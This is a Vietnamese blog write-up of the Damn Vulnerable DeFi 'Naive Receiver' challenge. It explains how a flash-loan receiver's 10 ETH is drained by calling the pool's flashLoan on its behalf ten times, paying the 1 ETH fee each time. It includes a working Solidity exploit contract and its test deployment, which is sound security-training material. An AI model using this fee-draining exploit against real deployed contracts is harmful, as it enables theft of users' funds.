Skip to content

Damn Vulnerable Defi writeups: 02 - Naive Receiver

Posted on:March 4, 2022

Challenge #2 - Naive receiver

Nhiệm vụ: Có một lending pool trữ 1000 ETH, cung cấp flash loan với phí đắt đỏ là 1 ETH/flashloan. Có một user cũng đã deploy một contract chứa 10ETH, có khả năng tương tác với lending pool và thực hiện flash loan. Mục tiêu của chúng ta là bằng cách nào đó làm cạn ETH trong contract của user bằng một transaction duy nhất.

Phân tích

Lending pool cho phép ta thực hiện flash loan với phí là FIXED_FEE = 1 ether, khá chát.

Logic thực hiện cho vay:

require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
  abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
  borrowAmount
);

borrower sau khi nhận được ETH vay thì cần hoàn trả tại hàm receiveEther với phí là FIX_FEE.

Tại contract của borrower:

function receiveEther(uint256 fee) public payable {
    require(msg.sender == pool, "Sender must be pool");

    uint256 amountToBeRepaid = msg.value + fee;

    require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

    _executeActionDuringFlashLoan();

    // Return funds to pool
    pool.sendValue(amountToBeRepaid);
}

như vậy mỗi lần thực hiện flashloan thì contract borrower mất đi 1 Ether làm tiền phí. Ban đầu contract có 10ETH, vậy ta chỉ cần gọi flashloan 10 lần là đã có thể thổi bay balance của borrower rồi.

Để thực hiện tất cả trong 1 transaction, đơn giản ta viết thêm 1 contract và thực hiện tất cả tại constructor là xong.

Exploit

viết contract khai thác

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./FlashLoanReceiver.sol";
import "./NaiveReceiverLenderPool.sol";

contract RektNaiveReceiver {
    constructor(address payable poolAddress, address receiver) {
        NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(poolAddress);
        for (uint256 i = 0; i < 10; i++) {
            pool.flashLoan(receiver, 1 ether);
        }
    }
}

sau đó tiến hành deploy là xong

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */

  this.rekt = await (
    await ethers.getContractFactory("RektNaiveReceiver", attacker)
  ).deploy(this.pool.address, this.receiver.address);
});

Check lại kết quả:

[Challenge] Naive receiver
Exploit (904ms)


1 passing (3s)

All done!